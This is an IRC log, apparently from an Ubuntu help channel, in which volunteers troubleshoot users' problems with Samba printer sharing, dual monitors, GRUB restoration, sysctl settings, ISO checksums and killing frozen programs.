[01:15] <tonyyarusso> m0r0n: You're missing a noun.
[01:15] <MJ94_> I clicked hardware drivers. Now what?
[01:15] <Scunizi> m0r0n: install what successfully?
[01:15] <a_> oh great, now something else went wrong. how do I force quit?
[01:15] <Billiard> Purpley: idk have you seen this? http://ubuntuforums.org/showthread.php?t=647518
[01:15] <m0r0n> Has anyone installed Ubuntu Jaunty sucessfully on a flash drive?
[01:15] <ZykoticK9> MJ94_, after doing what maco suggested - if nothing is listed for wireless, put in a wired connect - run the updates for ubuntu - then check "hardware drivers" again (only a hint if your wireless isn't there)
[01:16] <Jihui_Choi> Scunizi: anyway thank you so much :)
[01:16] <chris-s> alt+f2 type xkill click on the frozen program
[01:16] <Scunizi> Jihui_Choi: no problem.. good luck
[01:16] <kingbuzzo> if there aren't any modelines in xorg.conf, can they even be used if added?
[01:16] <Jihui_Choi> thanks :0
[01:16] <Scunizi> kingbuzzo: yes
[01:16] <a_> jrib: how do I force quit?
[01:16]  * Purpley hugs Billiard
[01:16] <Purpley> thanks man
[01:16] <chris-s> a__ : do alt+f2 type xkill then click on the dead program
[01:16] <Billiard> Purpley: np, so it worked?
[01:17] <cody> ae86-drifter: I emailed it
[01:17] <ZykoticK9> a_, if what chris-s suggests doesn't work try "killall -9 nameofprogram" in a terminal
[01:17] <StrangeCharm_> a_ pikill <application name>
[01:17] <ae86-drifter> cody: i have your email
[01:18] <ae86-drifter> (cody-wd 1)
[01:18] <losha> kingbuzzo: my understanding is modelines (and other config) will be used if added to the xorg.conf file. The challenge is to get the syntax & values correct when adding lines...
[01:18] <ZykoticK9> StrangeCharm_, what's with this pikill stuff?  does this replace kill and killall?
[01:18] <LordQuackstar> If i've got 2 screens set up as seperate x screens, is their any way to move windows between screens? I like having 2 x screens, but can't stand not being able to move stuff to the other screen. All google returns is people asking the same question
[01:18] <cody> ae86-drifter: okay, reply with help?
[01:18] <kingbuzzo> hm, couldn't just add "320x240" or something right?
[01:19] <StrangeCharm_> ZykoticK9, pkill <name> is like kill (pidof <name>)
[01:19] <Billiard> ZykoticK9: pkill kills based on name
[01:19] <Guest52916> is there a special channel for the netbook remix?
[01:19] <ZykoticK9> LordQuackstar, I looked into that -- NO way to move between :(  you can force windows to open on one or the other - but not switch once their open -- had big problems with firefox with a dual-X setup like that
[01:19] <losha> kingbuzzo: dunno what kind of computers you're used to, but the ones I use, you can't just guess at the config. You kind of have to know what you're doing...
[01:20] <LordQuackstar> sigh
[01:20] <StrangeCharm_> LordQuackstar, what's your gpu?
[01:20] <vox> LordQuackstar: not the way you have it set up, no
[01:20] <ZykoticK9> StrangeCharm_, Billiard so it doesn't really matter which we use?
[01:20] <LordQuackstar> StrangeCharm: an old geoforce 5500
[01:20] <kingbuzzo> well I want to have my crt monitor display low res. Before I would simply add the resolution to the modelines and be done with it
[01:20] <cody_> what is the default file viewer in ubuntu?
[01:21] <ae86-drifter> cody: please also email samba config file
[01:21] <LordQuackstar> ZykoticK9: How did you force a window to open in another screen? I was wanting to move the firefox error log to the other one
[01:21] <StrangeCharm_> ZykoticK9, there are some other methods for using dual monitors. there's a very good proprietary one for nvidia cards (twinview)
[01:21] <WanHouse> cody_: gedit most likely
[01:21] <cody_> ae86-drifter: I will send a new one with it now
[01:21] <WanHouse> cody_: No doubt since its the best viewer
[01:21] <ZykoticK9> LordQuackstar, can't do that i'm affraid -- sorry i'm mistaken, it's only with twinview you can force which window - sorry
[01:21] <ae86-drifter> ok thanks, cody_ please also detail as much as you can
[01:22] <LordQuackstar> StrangeCharm_: twinview just makes the computer think its one giant monitor. However, i like the ability to have seperate workspaces. Is their a way to do that with twinview?
[01:22] <losha> kingbuzzo: sorry, you've exceeded my expertise on the subject. If you have an old mode line from a previous x config, that's what I'd try...
[01:22] <LordQuackstar> (thats really all i want, diffrent workspaces for each monitor
[01:22] <kingbuzzo> cool, thanks
[01:22] <cody_> ae86-drifter: I just sent another email
[01:22] <WanHouse> ae86-drifter: Why not use a configurator for that ?
[01:23] <StrangeCharm_> LordQuackstar, i'm sure you could hack something with workspaces. what specific workspace features are you looking for?
[01:23] <bastidrazor> LordQuackstar: xinerama might be what your wanting. nvidia-settings has the option for this
[01:23] <WanHouse> ae86-drifter: Or do you wish to rely on cody_ all the time ?
[01:23] <ae86-drifter> WanHouse: looking at the config file would help determine what needs to be changed to allow access
[01:23] <LordQuackstar> bastidrazor: xinerama seemed just like twinview
[01:24] <ae86-drifter> WanHouse: what do you mean rely ?
[01:24] <m0r0n> Anyone know what this means in GParted    http://paste.ubuntu.com/294298/
[01:24] <ZykoticK9> LordQuackstar, just to clarify - virtual workspaces is TOTALLY different from two X sessions <-- which is a rather unusal setup i might add, i looked into it for gaming but eventually gave up on it
[01:24] <LordQuackstar> StrangeCharm_: Each monitor has an independant workspace. That way i can change workspaces in one monitor w/o it affecting the other
[01:24] <LordQuackstar> ZykoticK9: I was using 2 x screens for that feature
[01:25] <ZykoticK9> LordQuackstar, ummm ok so you really do want 2 X sessions then!
[01:25] <chris-s> m0r0n: is the drive mounted?
[01:25] <m0r0n> chris-s:  Ya
[01:25] <StrangeCharm_> LordQuackstar, you have exceeded my skills. try hacking something fun. if you make it work, publish, and relish in theglory
[01:26] <LordQuackstar> ZykoticK9: Sihg. I was really wanting to use both features at the same time
[01:26] <LordQuackstar> *sigh
[01:26] <ZykoticK9> LordQuackstar, i have 2 monitor and many virtual workspaces (ie 4 desktops) but am using twinview with one big monitor across both monitors - it's a LOT easier for me then 1 XSession on each monitor.
[01:26] <WanHouse> ae86-drifter: "add a user", "add the user to a share" (valid users or so) then youre about done.
[01:26] <LordQuackstar> Alright, thanks for the help
[01:26] <WanHouse> ae86-drifter: What i really meant was, use a gui if in doubt.
[01:26] <ae86-drifter> WanHouse, i know this, but he has already allowed access to everybody
[01:27] <chris-s> well you need to unmount it before gparted will do anything to it. So close gparted, you can probaly unmount it from places  -> computer
[01:27] <ae86-drifter> i agree that GUI is much easier to use but if i were to help somebody, looking at the conf file will tell me what needs to be changed
[01:27] <WanHouse> ae86-drifter: gadmin-samba, webmin etc could be nice. One screenshot or so and youll have your whole setup documented as well.
[01:27] <slackr> anyone else experiencing popping sounds from for example tab-completes in the shell on ubuntu 9.10?
[01:28] <ae86-drifter> cody_ : under the [printers] section change browseable = yes
[01:28] <ZykoticK9> slackr, ask same question in #ubuntu+1
[01:28] <cody_> ae86-drifter: Okay, editing now
[01:28] <violet523> SIGH. it was failure. using the nv module now so i can ge out of single user mode
[01:29] <cody_> it (under [printers] path = /tmp wrong?
[01:29] <ae86-drifter> cody: no
[01:29] <cody_> ae86-drifter: Okay, /var/lib/samba/printers is correct?
[01:29] <nossralsuva> cody: that browseable = yes      will allow the network to see the shared printers attached to the linux machine
[01:29] <ae86-drifter> sorry thats right cody_
[01:29] <ae86-drifter> both sections
[01:29] <cody_> Okay, i had to change it, for some reason it was /tmp ae86-drifter And nossralsuva Okay, i am restarting samba
[01:29] <novaspirit> hi everyone
[01:30] <slackr> ZykoticK9: ty
[01:30] <cody_> brb everyone
[01:30] <novaspirit> k
[01:30] <violet523> i ont think its a hardware problem as the card worked fine with xp before  xp was scrapped
[01:30] <novaspirit> question about installing warcraft 3 in ubuntu
[01:30] <ae86-drifter> and at the end section comment out the force user and force group lines and change guest ok to yes
[01:31] <novaspirit> i got everything to work but i can't find the setting to turn off in compiz
[01:31] <cody_> ae86-drifter: How do i comment it out?
[01:31] <novaspirit> where when you drag a window you can make it go into the next desktop

I cant change the screen resolution though, I tried system>prefs>display and no minitors are listed (because none are plugged in) I also tried editing xorg.conf but there's no screen resolutions listed

[01:42] <dsnyders> Hi all! Maximizing my windows forces it underneath the bottom panel.  How do I fix this?
[01:42] <thedude42> violet523, you may have a hard time acieving decent performance with that card with WoW under wine
[01:42] <bastidrazor> violet523: in the hardware drivers/restricted drivers section what drivers are offered?
[01:43] <thedude42> violet523, with my 7800GT it was pretty low FPS

[01:49] <ryguy> Hello, I installed Windows XP after installing Ubuntu. Ubuntu is on sda(hd0) and XP is sdb(hd1). I can boot into ubuntu by putting hd0 to the top of my boot list in bios. Same with XP when I put hd1 at the top of the boot list. Now, When I start up my machine with Ubuntu as my first boot disk, I don't get grub at all. I get a crypted line that kinda looks like an MD5 hash with dashes in it at the top of a black screen for about 15 secs then it boots into Ub
[01:49] <ryguy> untu. I need help getting GRUB back. I've followed all instructions on https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows#Using%20the%20Unofficial%20%22Super%20Grub%20Disk%22 but nothing is working
[01:49] <bastidrazor> violet523: although the only real way for you to find it, is to try installing the drivers and testing. if it doesn't meet your expectations then install the other and repeat
[01:49] <dsnyders> Guest84147, It would likely be bad... Very bad.
[01:50] <ttestt> ryguy, you russian?
[01:50] <bastidrazor> violet523: just an FYI.. when you do the driver install just relog. no need to do a complete reboot
[01:50] <ryguy> ttestt: ..no?
[01:50] <nomnex> My mic does not work (Jaunty 9.04/Panasonic let's note CF-W2 (2003)) : ICH4 - Intel 82801DB-ICH4
[01:50] <violet523> bastidrazor: ll have to ceck the logs then and see iff there is an irq conflict somewhere or something insipid like that
[01:50] <hsarci> I've got a weird problem that I bet no one can solve
[01:50] <hsarci> and its actually quite simple too
[01:50] <genii> !intelhda
[01:51] <losha> Guest84147: when it tries to swap and find it can't, I expect the kernel will panic & crash the system...
[01:51] <ttestt> ryguy, nick sounds quite like russian word
[01:51] <bastidrazor> violet523: /var/log/Xorg.0.log would be the place to check
[01:51] <ryguy> ttestt: my names ryan and imma guy. ry-guy
[01:51] <ryguy> =p
[01:51] <nomnex> ubottu: I take a look
[01:51] <violet523> bastidrazor: no problem there
[01:51] <losha> ttestt: which russian word?
[01:52] <ttestt> ryguy, :)  hair colour, colour like sun. i've forgotten a word
[01:52] <violet523> giving up for the night thanks for the hlp everyone
[01:52] <bastidrazor> violet523: best of luck
[01:53] <nomnex> ? I take a look > I am following the link.
[01:53] <hsarci> im trying to put "echo -n 230 > /sys/devices/platform/i8042/serio1/serio2/sensitivity" into /etc/rc.local. I have it in there, and rc.local is +x. However, the command doens't work; it won't execute at boot. But the command DOES work from the console after boot.
[01:53] <hsarci> any ideas?
[01:53] <ryguy> Either way, can someone help me?
[01:54] <ttestt> anyone use VLC to write video from v4l2?
[01:54] <bastidrazor> hsarci: you need the full path of echo  /bin/echo
[01:54] <dsnyders> hsarci, does it work if you execute it manually?
[01:54] <hsarci> yes it works fine manually
[01:55] <hsarci> that exact code, i just coppied from the console
[01:55] <hsarci> works fine
[01:55] <jrib> hsarci: are you adding it before the exit line?
[01:55] <hsarci> absolutely before the exit line
[01:55] <hsarci> should /bin/echo fix it?
[01:55] <dsnyders> hsarci, I think bastidrazor  has it.  Put the full path in.
[01:55] <hsarci> k im gonna edit it then restart
[01:56] <hsarci> ill come back with results
[01:56] <ryguy> can anyone help me restore GRUB?
[01:56] <bigtom21485> anyone know about nvidea sound drivers just not working on a dell dimension e521?
[01:56] <nomnex> ubottu: the link is for 6.06 LTS, I am using 9.04, the fist command does not work "cat /proc/asound/card0/codec#* | grep Codec"
[01:56] <losha> hsarci: add some debugs e.g. echo Before setting sensitivity and echo After setting sensitivity so you can see if the rc.local gets executed. You can also add cat /sys/devices/platform/i8042/serio1/serio2/sensitivity before and after to see the before and after values....
[01:57] <ryguy> nomnex: ubottu is a bot..
[01:57] <jrib> hsarci: is there a reason you aren't using sysctl by the way?
[01:57] <nomnex> ... oh.
[01:57] <ryguy> lol
[01:57] <losha> !grub | ryguy: maybe this will help...
[01:57] <nomnex> lol
[01:57] <hsarci> cuz i dunno what sysctl is
[01:57] <hsarci> losha, where do i see the output of those debugs?
[01:57] <ryguy> losha: I've already followed that guide
[01:58] <nomnex> any one? Mic not working on my laptop
[01:58] <jrib> hsarci: you should probably take some time to learn about it
[01:58] <divpload> hello guys
[01:58] <hsarci> can you breifly explain?
[01:58] <hsarci> is it a way to execute commands on boot?
[01:58] <jrib> hsarci: it's the proper way to edit kernel parameters.  You can set default values in sysctl.conf
[01:59] <losha> hsarci: on the console during boot. You may need to remove the 'quiet' keyword from /boot/grub/menu.lst to see more debug traces. Alternatively, you can log the output to a file by adding >> /tmp/log to each command e.g. echo Before setting sensitivity >> /tmp/log
[02:00] <hsarci> hrm, i can't just do sometihng like add sensitivity=0 to sysctl.conf?
[02:00] <losha> ryguy: sorry blondie, maybe you need to say a bit more about what you've tried and what doesn't work
[02:01] <hsarci> hold off on the response for a second im gonna /part
[02:01] <user1> Is it possible to install in text mode from the desktop install CD?
[02:01] <jrib> hsarci: that's exactly what you do. (with the proper syntax of course)
[02:02] <ryguy> losha: alright, I reinstalled grub on sda(My linux partition) and added windows at (hd1,0) to /boot/grub/menu.lst
[02:02] <hsarci> well, adding full path /bin/echo didn't do it
[02:03] <adamonline45> Hello, would it be recommended that I install portable Ubuntu or use a VM to run Ubuntu from within Windows?
[02:03] <user1> Does anyone have a Jetway JNF77-N1GL-LF?
[02:03] <user1> Ubuntu refuses to run on it
[02:04] <jamiejackson> i'm not getting my new ubuntu-server box to resolve from my laptop by hostname. what do i need to do to be able to resolve it by hostname? my other ubuntu machine *is* resolvable by hostname, fwiw
[02:04] <losha> hsarci: I agree with jrib, edit sysctl.conf if you can find out the correct syntax
[02:04] <hsarci> thats what ill do but i don't even know where to start to find correct syntax
[02:04] <hsarci> i googled it but didnt get much
[02:04] <ryguy> losha: Infact, I didnt do that first. I booted into my live cd and ran `sudo grub` then `root (hd0,0); setup(hd0)`
[02:04] <jrib> hsarci: man sysctl...
[02:04] <losha> adamonline45: many people seem happy with vbox. I like vmware, but it costs money...
[02:04] <hsarci> jrib, i know...
[02:04] <jrib> hsarci: man sysctl.conf...
[02:05] <ryguy> losha: grub refused to show up, showing only the cryptic md5-like string at the top of the screen, so I reinstalled grub with the same output
[02:05] <user1> Do boot args need to be followed by --?
[02:05] <fbc-mx> How do you create a dial-up connection????
[02:05] <ae86-drifter> /etc/cups/printers.conf
[02:05] <jrib> !dialup | fbc-mx
[02:05] <DaZ> ryguy: menu.lst? :f
[02:05] <losha> ryguy: so windows overwrote your mbr and you can only boot into windows now?
[02:06] <ryguy> No, I have Ubuntu on sda and XP on sdb. I can boot into xp by changing the boot priority in the BIOS
[02:07] <ryguy> I'm not seeing ANY boot menu
[02:07] <ryguy> no grub or windows boot
[02:07] <divpload_> Hello, do you know a good book about linux?
[02:07] <vox> ryguy: did you install ubuntu first, then xp?
[02:07] <ryguy> yes
[02:08] <adamonline45> losha: Thanks, I'll check out the free option :)  I have a spare raid array in by box right now, and I'd like to install Ubuntu to that.  Can I do a 'stand-alone' install like I would for dual booting, yet use a VM to run it from within Windows?  Sorry for the noob questions, the intricacies of VMing are new to me :)
[02:08] <vox> ryguy: windows has over-written the boot menu
[02:08] <DaZ> on both drives
[02:08] <DaZ> \o/
[02:08] <ryguy> they're on seperate HDDs
[02:08] <hsarci> jrib, any ideas on how i can find out the keyname?
[02:08] <HardDisk> any help with why nm-applet is not loading as a startup application nm-applet -sm-disable but after i alt-f2 and nm-applet alone it works? here's my xsession pastebin if anyone can read it, http://pastebin.ca/1623119
[02:08] <jrib> hsarci: change / to . devices.platform.whatever
[02:09] <ryguy> I also installed XP with the harddrive ubuntu is on unplugged
[02:09] <vox> ryguy: ok, that's different
[02:09] <DaZ> ryguy: menu.lst? ;f
[02:09] <vox> ryguy: what happens when you try to boot from the ubuntu hd?
[02:10] <ryguy> vox: it goes past bios messages, then I get a blank black screen with a cryptic, md5 like hash at the top of the screen for about 15 seconds
[02:10] <ryguy> then it boots right into ubuntu
[02:10] <matt____> hello i jus istalled 9.04 and my keyboard i very agy
[02:10] <Andrewfblack> anyone know an easy way to get Ubuntu working on a HP Pavilion zv6000
[02:10] <matt____> is there a reason  behind this?
[02:10] <Varth> I'm running the 9.10 beta, and when I try to open a folder from the places menu, it says "Could not open location 'file:///home/nathan' - No application is registered as handling this file" Does anyone have any idea what's going on?
[02:10] <vox> ryguy: did you have the windows hd plugged in when you installed ubuntu?
[02:11] <vox> Varth: join #ubuntu+1 for karmic support
[02:11] <hsarci> jrin, i still got "unknown key"
[02:11] <ryguy> vox: No I installed ubuntu last night and XP about 2 hours ago
[02:11] <hsarci> jrib*
[02:11] <Varth> vox: Gotcha.
[02:11] <jrib> hsarci: that's how it works, don't know then
[02:11] <hsarci> lol
[02:11] <hsarci> thanks anyway
[02:11] <vox> ryguy: i understand that, but did you have the drive that windows was installed onto plugged-in when you installed ubuntu?
[02:12] <hsarci> if echo command i was running doesn't work then theres gotta be a more screwed up reason
[02:12] <jstarcher> I just installed 9.10 on a separate partition and it still boots to my old 8.10 install even though the new partition has be setup with grub2 and has the boot flag
[02:12] <matt____> is  there any reason anyone can think ofwhy my keyboard wou be so laging?
[02:12] <jstarcher> what can I do to fix?
[02:12] <ryguy> vox: I think so, it was wiped multiple times since then though
[02:12] <matt____> very frustrating
[02:12] <acidic> stickykeys
[02:12] <jrib> hsarci: how are you getting an error anyway if you are just entering them into sysctl.conf?
[02:12] <DaZ> matt____: cable is too long.
[02:12] <Bluey> matt____: have you checked top to see what's runng?
[02:13] <Yiati> hello
[02:13] <user1> What can I do if Ubuntu halts during installation?
[02:13] <hsarci> im using command line sysctl
[02:13] <hsarci> no sense in changing the file if i cant change it from command line
[02:13] <Bluey> user1: what do you mean halts?  did the md5 checksums match?
[02:13] <vox> ryguy: i'd say what has happened in this: you have disk A and disk B. you install ubuntu on to disk B, but the boot record/menu gets installed on disk A. you then unplug disk B, install windows on disk A, and windows over-writes the boot record and boot menu
[02:13] <matt____> bluey top?
[02:13] <matt____> i'm a nwb sorry
[02:14] <user1> Bluey: I've done a memtest and a CD check and all is ok
[02:14] <ovrdrive> evening everyone
[02:14] <ryguy> vox: sounds reasonable, but ubuntu was installed on disk A (hd0)
[02:14] <Yiati> What should i do during the install command if I am using a tv for a display through and s-video, and it won't install because of that
[02:14] <jrib> hsarci: probably needs to be in /proc/sys
[02:14] <Bluey> matt____: type in "top" (no quotes) into a terminal box -- and it well tell you whats grabbing all the cpu time
[02:14] <user1> Bluey: The installer starts; the logo appears and the progress bar progresses, then I get a black screen and a blinking cursor in the top left corner
[02:14] <vox> ryguy: ...then none of this is making any sense :)
[02:14] <hsarci> i need to execute from proc sys???
[02:14] <Bluey> user1: did the md5 checksums match?
[02:14] <hsarci> root@Hsarci-laptopUB:/usr/share/man# sysctl -p sensitivity error: unable to open preload file "sensitivity"
[02:15] <ryguy> vox: thats what I'm getting out of it
[02:15] <vox> ryguy: i have that exact same setup on my desktop
[02:15] <txt23> Where can I find odler releases?
[02:15] <preecher> is there a command i can put in a terminal that will give me a complete list of all progs that are installed
[02:15] <user1> Bluey: As I said - I ran a disk check and it passed.  I this should be equivalent to an MD5 sum check
[02:15] <Bluey> preecher: dpkg -l
[02:15] <hsarci> root@Hsarci-laptopUB:/usr/share/man# sysctl -w sensitivity=230 error: "sensitivity" is an unknown key
[02:15] <ovrdrive> i have a question?, where do i find the settings, or something of that nature, that we tell this os that a s-video cable is hooked up, so i can use this on my flat screen tv?
[02:15] <vox> preecher: ...that's going to be a very long list.
[02:15] <ryguy> vox: I've tried every trick to restore grub but grub doesnt show up at all when I boot ubuntu or windows
[02:15] <Ochian> Anyone have advise for reading PDFs inside Firefox 3.0?  Xubuntu (kind of old, but exact release unknown).
[02:15] <user1> Bluey: I've installed from the disk before and it was fine (on a different machine).
[02:16] <Bluey> user1: not at all
[02:16] <hsarci> jrib, I can edit the file as root and save it and it works immediatley
[02:16] <Bluey> that just means the disc is readable
[02:16] <user1> Bluey: Really?
[02:16] <jrib> hsarci: did you see the last thing I said?
[02:16] <vox> ryguy: there's a few grub-restore howto's on the ubuntuforms, have you looked into those?
[02:16] <preecher> some progs ive dloaded and installed dont show on my apps menus so i thought id see if they listed on terminal
[02:16] <ryguy> Ochian: goto #xubuntu for xubuntu related questions
[02:16] <hsarci> about /proc/sys?
[02:16] <user1> Bluey: Anyway, I'm pretty sure it's not the disk
[02:16] <Bluey> user1: let me see if I can find the md5sums
[02:16] <jrib> hsarci: yes
[02:16] <hsarci> jrib, what needs to be in /proc/sys?
[02:16] <ryguy> vox: I've been reading through them for an hour and a half now
[02:17] <jrib> hsarci: your path begins with /sys, not /proc/sys
[02:17] <user1> Bluey: I've tried with an alternate CD and get the same problem
[02:17] <hsarci> gotcha
[02:17] <flanders> For some reason, autofs is not working for me, even though I configured everything properly. I have a file called /etc/auto.cifs which /etc/auto.master is pointed to. Inside of auto.cifs, I have the format (share_name    options    remote_share)
[02:17] <hsarci> ...checking now
[02:17] <flanders> Does anyone use autofs for remote shares?
[02:17] <alteregoa> how can i stop the x server?
[02:17] <Bluey> lets md5 checksum - here's where the checksums are stored:  https://help.ubuntu.com/community/UbuntuHashes
[02:17] <flanders> I can connect to the remote share with Nautilus, so it's not a connection problem.
[02:17] <hsarci> jrib, no good...
[02:18] <Bluey> user1: do you know how to md5 checksum a file?
[02:18] <user1> Bluey: Can I run an MD5 checksum from the CD?
[02:18] <vox> ryguy: hm. there is a way this could have happened
[02:18] <Bluey> user1: you'd run it on the iso you downloaded
[02:18] <user1> Can I Ctrl+Alt+F1 then run md5sum
[02:18] <bastidrazor> alteregoa: gnome?
[02:18] <user1> I'm on a Windows machine
[02:18] <Bluey> ahh
[02:18] <jrib> hsarci: I'm just telling you that sysctl operates on /proc/sys, not on what you are doing (apparently)
[02:18] <vox> ryguy: how familiar are you with udev?
[02:18] <Bluey> user1: let me find a windows md5
[02:18] <ryguy> vox: never heard of it but I pick up on things fast
[02:18] <hsarci> i just tried it with /proc/sys
[02:20] <vox> ryguy: ok cool. basicly, linux doesnt assign devices based on boot priority order. just because a drive is listed as /dev/sda doesnt mean it's the primary sata disk on controller 0, for example
[02:20] <ryguy> vox: alright
[02:20] <ryguy> vox: should I try auto super grub disk first?
[02:21] <vox> ryguy: the ONLY thing that makes sense, is if linux saw the windows disk as the "first" disk, and wrote the boot menu there
[02:21] <matt____> it doesn't look that bad actually, the icons in the bot of he screen are also discolord
[02:21] <Bluey> user1: go here and download the md5checksum for windows:  http://www.etree.org/md5com.html
[02:21] <vox> ryguy: there just isnt any other way to explain it
[02:21] <user1> Bluey: I've found some info on the hash page
[02:21] <InsanePenguin> what is a good size to make the hdd for ubuntu server 9.04
[02:22] <Bluey> user1: kewl do the numbers match?
[02:22] <matt____> i instllled 9.0 ysterday the upgaded, then downgraded due to probleems, keybord wored perfectly yeterday
[02:22] <user1> I'll check the CD (even though I'm pretty sure it's fine), then get back to you...
[02:22] <vox> InsanePenguin: depends on what you're planning on doing with it
[02:22] <Bluey> user1: no you checksum the iso file NOT the cd.
[02:22] <losha> ryguy: vox: hmm. won't the grub command 'find /boot/grub/stage1' sort that out?
[02:22] <Bluey> user1: if you downloaded a bad copy this will tell you
[02:22] <ryguy> losha: the output of that command gives me hd(0,0)
[02:23] <ryguy> er (hd0,0)
[02:23] <InsanePenguin> vox: idk just messing around mostly, install apace, setup ftp, maybe a mail server
[02:23] <kcsrnd> what's the syntax to scp to a nonstandard ssh port?
[02:23] <Ochian> ryguy: Not helpful because the question was not Xubuntu specific.  However, I found my answer here: https://help.ubuntu.com/community/EvinceMozilla
[02:23] <kcsrnd> because it's scp file user@host:destdirectory
[02:23] <kcsrnd> where do you put the port?
[02:23] <KittyBoots> I am looking for advice on how to set up a network.  I have two machines both running Ubuntu 9.10, where do I start?
[02:23] <DaZ> kcsrnd: scp --help
[02:23] <bastidrazor> kcsrnd: scp -P1234
[02:24] <daerogami> Hey everyone, I just installed Edgy Eft 6.10 on a Dell and its telling me the repositories aren't available and it wont let me download the new update, it tells me authentication failed, im hoping theres an alternative to downloading the latest distro and burning to CD for reinstall
[02:24] <ryguy> Ochian: Oh sorry, I saw xubuntu and assumed
[02:24] <kcsrnd> bastidrazor:  thanks
[02:24] <vox> InsanePenguin: if its just a test box, 20gb would be more than ample
[02:24] <Ochian> np
[02:24] <InsanePenguin> ok that is what i was thinking
[02:24] <Bluey> daerogami: why didnt you get 9.04?
[02:24] <daerogami> umm, its embarrasing Bluey, im too lazy to update my liveCD
[02:25] <ovrdrive> i have a question?, where do i find the settings, or something of that nature, that we tell this os that a s-video cable is hooked up, so i can use this on my flat screen tv?
[02:25] <Bluey> daerogami: ahh that could be a problem
[02:25] <daerogami> so i cant upgrade from this?
[02:25] <vox> daerogami: 6.04 is massively old, and there's been significant changes to ubuntu since then. swallow it and download 9.04 iso :)
[02:25] <bastidrazor> !tvout | ovrdrive
[02:25] <ryguy> Alright, so `find /boot/grub/stage1` returns `(hd0,0)` and hd0,0 is SDA which is what Ubuntu is installed on. Why is my computer not loading into grub?
[02:25] <daerogami> ill ahve to download to Cd and rehash?
[02:25] <losha> ryguy: well, I think vox is on the right track about it depending on how the disks are discovered. How about disconnecting the windows disk and seeing if you can ubuntu booting from grub when it's the only disk?
[02:25] <daerogami> thx vox
[02:25] <daerogami> ill be back when im done, thank god i have FiOS
[02:26] <Bluey> daerogami: you'd download the iso to your hard drive, then burn it to a cd using some cd burner programme
[02:26] <daerogami> yes i know
[02:26] <daerogami> i just didnt want to resort to that
[02:26] <vox> ryguy: either that, or your sda is completely hosed.
[02:26] <Bluey> daerogami: sorry
[02:26] <KittyBoots> I am looking for advice on how to set up a network.  I have two machines both running Ubuntu 9.04, where do I start?
[02:26] <kcsrnd> daerogami:  lol you really are stuck in that chair huh?
[02:26] <daerogami> its all good thx
[02:26] <ryguy> Im gonna restart brb
[02:27] <kcsrnd> FiOS and can't d/l and burn the latest :P
[02:27] <v1tal3> kittyboots: plug them into a switch/router?
[02:27] <ovrdrive> so i have to install xorg, to ungrey out the tv settings options?, and give the choice of tv or monitor?
[02:27] <user1> Bluey: I don't have the iso
[02:27] <Bluey> user1: :-(
[02:27] <user1> Bluey: I'm 95% sure the disk is fine
[02:27] <daerogami> kcsrnd, not a matter of stuck to the chair, in fact downloading the whole thing and burning to CD/DVD will keep me in it longer than a point and click update :p
[02:27] <Bluey> user1: that's what you md5checksum against...
[02:28] <Bluey> user1: you may have had a bad d/l
[02:28] <user1> Bluey: The disk is fine
[02:28] <kcsrnd> hah yeah i guess
[02:28] <DaZ> daerogami: ubuntu doesn't like updates
[02:28] <user1> Bluey: You're not listening - I've installed from the CD numerous times
[02:28] <Bluey> user1: have you tried it on another machine?
[02:29] <vox> user1: if you keep getting incorrect md5sums, you have bad ram
[02:29] <user1> Bluey: I'm not getting incorrect MD5s!
[02:29] <kcsrnd> lol
[02:29] <user1> Bluey: Sorry, that was to vox
[02:30] <user1> The CD is fine.  I'm sure it's something else.
[02:30] <vox> ah, my bad
[02:30] <vox> what's the issue?
[02:30] <daerogami> alright, downloading on alternate pc, eta 2 min :p
[02:30] <Madcamper> does ubuntu have any support for TV Tuners for HP laptops?
[02:30] <Bluey> user1: does the target machine have enough ram?
[02:30] <user1> What I really want to know is how to drop back to text-mode install from the desktop CD
[02:30] <user1> Yes
[02:30] <user1> It has 1GB
[02:30] <Bluey> user1: kewl
[02:30] <daerogami> please tell me beryl comes standard with the new distro
[02:31] <genii> !beryl
[02:31] <Bluey> user1: you need the text installer cd for that...
[02:31] <Bluey> user1: I have one machine that's marginal so I have to get that...
[02:31] <vox> user1: desktop-alternate is textmode
[02:31] <user1> I'm pretty sure I've fallen back to text mode before with a desktop CD
[02:31] <daerogami> they changed it name?!
[02:31] <daerogami> its*
[02:31] <hsarci> jrib, u there?
[02:31] <Bluey> thanks vox
[02:31] <daerogami> !compiz
[02:31] <vox> daerogami: no, they merged beryl with compiz
[02:32] <daerogami> and is it integrated into the new Ubuntu(new to me) distro?
[02:32] <vox> daerogami: has been for.. 2 releases now i think?
[02:32] <v1tal3> KittyBoots: did you figure it out?
[02:32] <daerogami> awesome
[02:33] <Bluey> KittyBoots: start with putting openssh-server on each machine - sudo apt-get install openssh-server
[02:34] <daerogami> is it anymore demanding, id imagine this dell (512 Ram, 2.7Ghz Celeron, typical XP model) can handle it
[02:34] <Bluey> KittyBoots: and make sure the lan address of each machine is in /etc/hosts
[02:34] <CpasFaux> Can someone help me? I've a problem with standy and hibernation
[02:34] <vox> daerogami: what gfx card?
[02:35] <GenDeath> :D
[02:35] <daerogami> vox, im pretty sure its a pos intel builtin
[02:35] <vox> daerogami: mmuh.. it may, it may not.
[02:35] <daerogami> shared memory, prob 64mbit
[02:36] <daerogami> its running edgy eft just fine so ill keep my fingers crossed
[02:37] <CpasFaux> Can someone help me? I've a problem with standy and hibernation
[02:37] <CpasFaux> no standy...suspend sorry
[02:38] <Omlette> CpasFaux: If I understand right, standby = suspend, so either one works.
[02:38] <keith1> does anyone use Cinelerra?  Can it work in Ubuntu or must I use Ubuntustudios?  I have it installed in Ubuntu and its really really slow.
[02:39] <CpasFaux> Omlette, I don't know....mise en veille and hibernation in french :D
[02:39] <Omlette> Ahh.
[02:39] <DaZ> keith1: and it will be slow on ubuntu studio.
[02:39] <v1tal3> Does anyone have any experience with clustering multiple ubuntu/linux machines?
[02:39] <keith1> Daz: Terrible :(
[02:40] <keith1> DaZ: So disappointed I cant use Jahshaka either, I use to love using Jahshaka.
[02:40] <DaZ> keith1: why? :f
[02:40] <CpasFaux> Omlette, so...can you help me?
[02:41] <keith1> DaZ: just easy to move objects around.  easy to make video intros.
[02:41] <Omlette> CpasFaux: Sorry, but I'm not experienced enough. :|
[02:41] <DaZ> keith1: why you can't
[02:41] <KittyBoots> What do I need to setup a home network with 2 Ubuntu machines and one Windows machine?
[02:41] <ZykoticK9> v1tal3, i used to use openmosix and distcc - but that was YEARS ago (on err.. Gentoo).  Best of luck to you - hope you have a fast network :)
[02:41] <Bluey> KittyBoots: asked and answered
[02:41] <keith1> DaZ: tried many ways to install it and all failed
